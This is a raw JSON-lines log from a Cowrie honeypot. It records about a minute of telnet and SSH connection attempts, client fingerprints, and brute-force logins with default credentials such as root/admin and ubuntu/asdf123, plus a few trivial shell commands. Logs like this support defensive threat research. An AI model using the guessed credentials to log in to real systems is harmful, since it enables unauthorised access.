{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47610,"dst_ip":"10.17.0.5","dst_port":23,"session":"a265c458f19d","protocol":"telnet","message":"New connection: 38.54.119.93:47610 (10.17.0.5:23) [session: a265c458f19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:04:54.793267Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":38970,"dst_ip":"10.17.0.5","dst_port":23,"session":"943c06566910","protocol":"telnet","message":"New connection: 45.81.23.16:38970 (10.17.0.5:23) [session: 943c06566910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:02.274942Z"}
{"eventid":"cowrie.session.closed","duration":43.21058249473572,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:02.456780Z","src_ip":"38.60.198.128","session":"380878eaebe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.205329179763794,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:02.790102Z","src_ip":"38.60.198.128","session":"99a43c9d3ebd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":38980,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8b494dd1045","protocol":"telnet","message":"New connection: 45.81.23.16:38980 (10.17.0.5:23) [session: e8b494dd1045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:03.080354Z"}
{"eventid":"cowrie.session.closed","duration":40.0054612159729,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:03.928652Z","src_ip":"38.60.198.128","session":"69ecd2bfe95b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":33212,"dst_ip":"159.203.135.109","dst_port":22,"session":"97920f59d11f","protocol":"ssh","message":"New connection: 177.36.200.182:33212 (159.203.135.109:22) [session: 97920f59d11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:04.339796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:04.345695Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:04.745270Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48752,"dst_ip":"159.203.135.109","dst_port":23,"session":"f310a49026bb","protocol":"telnet","message":"New connection: 38.60.198.128:48752 (159.203.135.109:23) [session: f310a49026bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:05.153120Z"}
{"eventid":"cowrie.session.closed","duration":14.232129335403442,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:05.298764Z","src_ip":"38.60.198.128","session":"af14cf376938","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:05.948402Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:06.838242Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:07.235945Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.99247670173645,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:07.267217Z","src_ip":"45.81.23.16","session":"943c06566910","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:08.650019Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:08.654958Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:08.661240Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:08.665150Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.337855100631714,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:09.249423Z","src_ip":"38.60.198.128","session":"c050b8e212ac","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd ~","message":"CMD: cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:09.738827Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.95787501335144,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:09.771718Z","src_ip":"38.60.198.128","session":"1954ccb13b3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58660,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee5a7cbc46b","protocol":"telnet","message":"New connection: 38.60.198.128:58660 (159.203.135.109:23) [session: dee5a7cbc46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:10.549863Z"}
{"eventid":"cowrie.command.input","input":"ls","message":"CMD: ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:10.743941Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d2ccb2711da31ea9e455532d3527397ef3ae3ca0a8ee4aebd88de5ca556b3047","size":479,"shasum":"d2ccb2711da31ea9e455532d3527397ef3ae3ca0a8ee4aebd88de5ca556b3047","duplicate":true,"duration":"4.5","message":"Closing TTY Log: var/lib/cowrie/tty/d2ccb2711da31ea9e455532d3527397ef3ae3ca0a8ee4aebd88de5ca556b3047 after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:11.761087Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:11.764961Z","src_ip":"177.36.200.182","session":"97920f59d11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.161.136.203","src_port":41838,"dst_ip":"10.17.0.5","dst_port":22,"session":"873e88d021e4","protocol":"ssh","message":"New connection: 60.161.136.203:41838 (10.17.0.5:22) [session: 873e88d021e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:11.964790Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:12.223736Z","src_ip":"60.161.136.203","session":"873e88d021e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":56996,"dst_ip":"159.203.135.109","dst_port":22,"session":"af548370110d","protocol":"ssh","message":"New connection: 198.98.56.205:56996 (159.203.135.109:22) [session: af548370110d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:15.729667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:15.734565Z","src_ip":"198.98.56.205","session":"af548370110d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:15.740402Z","src_ip":"198.98.56.205","session":"af548370110d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdf123","message":"login attempt [ubuntu/asdf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:15.791942Z","src_ip":"198.98.56.205","session":"af548370110d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38310,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe497431e5c9","protocol":"telnet","message":"New connection: 38.60.198.128:38310 (159.203.135.109:23) [session: fe497431e5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:16.248849Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34682,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbe42eb59fa7","protocol":"telnet","message":"New connection: 38.60.198.128:34682 (159.203.135.109:23) [session: cbe42eb59fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:16.288125Z"}
{"eventid":"cowrie.session.closed","duration":47.29948902130127,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:16.673898Z","src_ip":"38.60.198.128","session":"3b3212559bd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:16.803944Z","src_ip":"198.98.56.205","session":"af548370110d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":34342,"dst_ip":"159.203.135.109","dst_port":23,"session":"643c10c63c3e","protocol":"telnet","message":"New connection: 192.211.53.160:34342 (159.203.135.109:23) [session: 643c10c63c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:18.441701Z"}
{"eventid":"cowrie.session.closed","duration":47.57950520515442,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:20.966336Z","src_ip":"38.60.198.128","session":"3eca8a1bee4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46204,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e50fef09500","protocol":"telnet","message":"New connection: 38.60.198.128:46204 (159.203.135.109:23) [session: 4e50fef09500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:22.750643Z"}
{"eventid":"cowrie.session.closed","duration":51.44428277015686,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:22.904400Z","src_ip":"38.60.198.128","session":"f97670e69493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.34702110290527,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:27.870416Z","src_ip":"38.60.198.128","session":"e24c0491681c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53286,"dst_ip":"159.203.135.109","dst_port":23,"session":"363d967d6b48","protocol":"telnet","message":"New connection: 38.60.198.128:53286 (159.203.135.109:23) [session: 363d967d6b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:28.323563Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58954,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbb3cfcbb0be","protocol":"telnet","message":"New connection: 38.60.198.128:58954 (159.203.135.109:23) [session: dbb3cfcbb0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:32.973315Z"}
{"eventid":"cowrie.session.closed","duration":46.385825872421265,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:33.808103Z","src_ip":"38.60.198.128","session":"ce15eaa3ff68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49164,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7ec12aa99eb","protocol":"telnet","message":"New connection: 38.54.119.93:49164 (10.17.0.5:23) [session: d7ec12aa99eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:41.490815Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57202,"dst_ip":"10.17.0.5","dst_port":23,"session":"73bad17745c5","protocol":"telnet","message":"New connection: 65.60.27.33:57202 (10.17.0.5:23) [session: 73bad17745c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:41.724957Z"}
{"eventid":"cowrie.session.closed","duration":37.597909450531006,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:42.750953Z","src_ip":"38.60.198.128","session":"f310a49026bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.9201226234436,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:43.713280Z","src_ip":"38.54.119.93","session":"a265c458f19d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.746731996536255,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:44.471561Z","src_ip":"65.60.27.33","session":"73bad17745c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.963186264038086,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:45.453870Z","src_ip":"38.54.119.93","session":"d7ec12aa99eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50356,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d2173bb588f","protocol":"telnet","message":"New connection: 38.60.198.128:50356 (159.203.135.109:23) [session: 4d2173bb588f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:48.161229Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":42300,"dst_ip":"159.203.135.109","dst_port":23,"session":"7db7cd271114","protocol":"telnet","message":"New connection: 192.211.53.160:42300 (159.203.135.109:23) [session: 7db7cd271114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:48.756751Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53582,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e11e458fdb","protocol":"telnet","message":"New connection: 38.60.198.128:53582 (159.203.135.109:23) [session: 95e11e458fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:50.701588Z"}
{"eventid":"cowrie.session.closed","duration":36.24471116065979,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:52.532702Z","src_ip":"38.60.198.128","session":"cbe42eb59fa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.79210066795349,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:52.872259Z","src_ip":"45.81.23.16","session":"e8b494dd1045","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58614,"dst_ip":"159.203.135.109","dst_port":23,"session":"815782889c59","protocol":"telnet","message":"New connection: 38.60.198.128:58614 (159.203.135.109:23) [session: 815782889c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:53.559045Z"}
{"eventid":"cowrie.session.closed","duration":44.13324189186096,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:54.682974Z","src_ip":"38.60.198.128","session":"dee5a7cbc46b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":44140,"dst_ip":"159.203.135.109","dst_port":23,"session":"4da9db6403c0","protocol":"telnet","message":"New connection: 192.211.53.160:44140 (159.203.135.109:23) [session: 4da9db6403c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:55.016872Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":44202,"dst_ip":"159.203.135.109","dst_port":23,"session":"55094ad10693","protocol":"telnet","message":"New connection: 192.211.53.160:44202 (159.203.135.109:23) [session: 55094ad10693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:55.250492Z"}
{"eventid":"cowrie.session.closed","duration":39.507625102996826,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:55.756339Z","src_ip":"38.60.198.128","session":"fe497431e5c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.05362558364868,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:05:59.495219Z","src_ip":"192.211.53.160","session":"643c10c63c3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":46596,"dst_ip":"159.203.135.109","dst_port":22,"session":"32b2c3b9e52a","protocol":"ssh","message":"New connection: 198.98.56.205:46596 (159.203.135.109:22) [session: 32b2c3b9e52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:08.723094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:08.728015Z","src_ip":"198.98.56.205","session":"32b2c3b9e52a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:08.736809Z","src_ip":"198.98.56.205","session":"32b2c3b9e52a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfghjkl","message":"login attempt [ubuntu/asdfghjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:08.792674Z","src_ip":"198.98.56.205","session":"32b2c3b9e52a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.989368200302124,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:09.739885Z","src_ip":"38.60.198.128","session":"4e50fef09500","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:06:09.800260Z","src_ip":"198.98.56.205","session":"32b2c3b9e52a","protocol":"ssh"}
